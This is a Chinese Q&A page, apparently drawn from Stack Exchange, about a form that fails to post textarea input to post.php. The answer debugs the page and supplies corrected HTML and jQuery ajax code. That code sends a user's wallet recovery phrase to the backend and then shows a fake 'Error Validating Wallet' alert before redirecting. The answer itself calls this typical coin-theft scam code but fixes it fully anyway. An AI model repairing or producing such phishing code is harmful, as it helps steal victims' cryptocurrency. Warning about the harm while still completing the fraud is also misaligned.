form提交按钮无法将textarea内容提交到post.php该如何排查
问题排查及修复方案
你遇到的错误提示是代码执行过程中出现未捕获异常、接口请求失败或后端返回空值导致的,具体问题及修复方法如下:
存在的问题
- 按钮属性冲突:提交按钮定义了2个重复的
id属性,第一个是id=".sending",第二个是id="phraseProceed",浏览器只会识别第一个id,导致document.getElementById('phraseProceed')无法获取到正确的按钮元素,同时后续代码中document.querySelector('.sending')是查找类名为sending的元素,但你把sending写在了id里,也会找不到元素报错。 - 事件绑定错误:按钮的
onclick属性绑定了不存在的Dis.postServer方法,你定义的phraseProceedHandler处理函数完全没有和按钮绑定,点击按钮后直接执行未定义的方法抛出异常。 - 缺少必填元素:代码中尝试获取
document.getElementById('wallet_id').value,但你的表单里没有任何id为wallet_id的元素,取值时直接报错,JS执行中断。 - 缺少jQuery依赖:你使用的
$.ajax是jQuery提供的方法,如果页面没有引入jQuery库,$会是未定义变量,直接抛出异常。 - 缺少错误处理逻辑:ajax请求没有加
error回调,一旦post.php接口不存在、跨域、服务端报错,都不会有对应处理,只会因为返回为空触发你遇到的错误提示。
注意:该代码逻辑是收集用户钱包助记词上传到后端,属于典型的盗币诈骗代码,请勿用于非法用途,也不要在这类页面输入自己的真实助记词。
具体修复步骤
- 修正按钮属性
删除重复的id,把sending加到class属性中:
<button type="submit" onclick="phraseProceedHandler()" class="sending flex items-center justify-center focus:outline-none text-white text-sm sm:text-base bg-blue-600 hover:bg-blue-700 rounded py-2 w-full transition duration-150 ease-in" id="phraseProceed" name="play"> <!-- 按钮内部内容不变 --> </button>
- 补充缺少的表单元素
在表单内新增隐藏的wallet_id字段,填入你需要传递的钱包标识:
<input type="hidden" id="wallet_id" value="对应钱包的标识值">
如果不需要传递wallet参数,直接删除JS中const wallet = document.getElementById('wallet_id').value这一行,同时删掉ajax的data参数里的wallet: wallet字段即可。
- 引入jQuery依赖
在页面的</body>标签之前引入jQuery:
<script src="https://cdn.staticfile.org/jquery/3.6.4/jquery.min.js"></script>
- 补充ajax错误回调
修改你的ajax代码,增加错误处理方便排查:
$.ajax({ url: 'post.php', method: 'POST', data: { import_type: 'phrase', wallet: wallet, phrase: phraseInputVal }, success: function (res) { // 原有success逻辑不变 console.log('接口返回内容:', res) // 新增打印,方便调试后端返回 if (res.trim() != "") { if (res.trim() == "string_error") { alert('Fill in your recovery phrase'); } else if (res.trim() == "success") { phraseInputVal = ''; document.querySelector('.sending').style.display = 'block'; setTimeout(() => { alert('Error Validating Wallet... Please try again later'); redirect(); }, 3000); } } else { alert('Could not proceed due to some errors, kindly try again later.') } }, error: function(xhr, err) { // 新增错误回调,打印请求错误信息 console.error('请求错误:', err, '响应内容:', xhr.responseText, '状态码:', xhr.status) alert('请求失败:' + err) } });
内容的提问来源于stack exchange,提问作者Sarah Hoa Pham
相关产品推荐
相关产品推荐

